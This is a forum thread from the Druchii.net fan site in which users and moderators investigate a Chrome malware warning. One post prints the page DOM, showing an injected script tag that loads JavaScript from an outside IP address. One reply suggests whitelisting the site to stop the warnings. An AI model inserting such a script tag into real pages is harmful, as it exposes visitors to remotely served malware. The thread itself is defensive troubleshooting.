Malware Detected???

Throw your ideas for Druchii.net around in here...

Moderator: The Dread Knights

Post Reply
User avatar
Deadlydeception
Corsair
Posts: 85
Joined: Thu Jan 26, 2006 5:33 pm
Location: North Alberta, Canada

Malware Detected???

Post by Deadlydeception »

Image


Is there something wrong here? I'm using Google Chrome as my web browser, but this annoying window keeps popping up when I visit my favorite site.
It seems fine on firefox...
Gee
Corsair
Posts: 89
Joined: Wed Mar 31, 2004 9:26 am

Post by Gee »

One of the third party sites used by D.Net for stats has a link to a site that tries to do naugty things. :-(

As long as you've kept your machine up to date you'll be fine, do wish the admins would fix it already though?
User avatar
Rork
Lord of Khorne
Lord of Khorne
Posts: 8432
Joined: Fri Nov 22, 2002 1:29 pm
Location: Leading the revolution (and in the chat).

Post by Rork »

I believe langmann is trying to get to the bottom of this.

Though it only seems to affect certain people. I've never had any alerts when using the site, for example.
Image

"Rork.. a wonderful guy :)" - Linda Lobsta Defenda

+++ Team Mulligans +++
User avatar
Kinslayer
Roleplaying Deity
Roleplaying Deity
Posts: 4577
Joined: Wed Jun 04, 2008 9:50 am
Location: Roleplaying Forum

Post by Kinslayer »

I've never had a similar warning and I am running Internet Explorer 7 on Windows Vista. I have also used Mozilla Firefox and never had the problem. You should just be able to add Druchii to your list of 'friendly' websites and it will shut up with the warnings. That or get another web browser downloaded.

What's the worst that could happen from visiting Druchii.net? Apart from taking one too many dips in a cauldron with the Witchies.
User avatar
Loki
Brolock
Brolock
Posts: 2296
Joined: Tue Aug 10, 2004 3:41 am
Location: Keeping an eye on Rork and Calisson
Contact:

Post by Loki »

Right, we've had this discussion amongst us mods so far. After seeing who was getting it and who was using what browsers/antivirus stuff, there seems to be no rhyme or reason as to who it affects.
+++ Team Mulligans +++

Image

FAQ
User avatar
Deadlydeception
Corsair
Posts: 85
Joined: Thu Jan 26, 2006 5:33 pm
Location: North Alberta, Canada

Post by Deadlydeception »

I'm glad to hear that this is being looked at.
I'll stick with firefox for now, just in case.
Gee
Corsair
Posts: 89
Joined: Wed Mar 31, 2004 9:26 am

Post by Gee »

DeadlyDeception wrote:I'm glad to hear that this is being looked at.
I'll stick with firefox for now, just in case.


Watching d.net via fiddler2 shows it happens regardless of browser and OS, you just only get the warning via Chrome.

Using FireBug in firefox you'd be able to see the problem.

View source shows:

Code: Select all

<link rel="stylesheet" href="templates/druchii/dmenu.css" type="text/css">
<script type="text/javascript" src="/templates/druchii/coolmenus4.js">


Using firebug to see the DOM

Code: Select all

<link rel="stylesheet" href="templates/druchii/dmenu.css" type="text/css">
<script type="text/javascript" src="/templates/druchii/coolmenus4.js"></script><script type="text/javascript" src="http://95.129.144.229/stats/stats.js"></script>


and it's that 95.129.144.229/stats/stats.js file that's causing the problem.
User avatar
Langmann
Malekith's Tastetester & Physician
Malekith's Tastetester & Physician
Posts: 5170
Joined: Thu Oct 10, 2002 9:41 pm
Location: Putting needles into people.

Post by Langmann »

Yeah I have looked into it.

It comes from a site, not this one, that was hacked a month ago. Google managed to pick up on this and that site was repaired.

Currently it exists as a chrome warning and hasn't been removed.

coolmenus itself is an internal java script that does the menus for the menu bar on dnet. It is harmless.

The malware has been found and destroyed. Thanks to all for noticing and forwarding it to me.

Please also thank Gee for figuring this thing out.
While running a million dollar company, singing at weddings, and his frequent jetting to Spain Elton Jon style, Dark Alliance found the time to stand on the doorstep of Games Workshop like Moses and the Pharoah and calmly state, "Let my people go."
Post Reply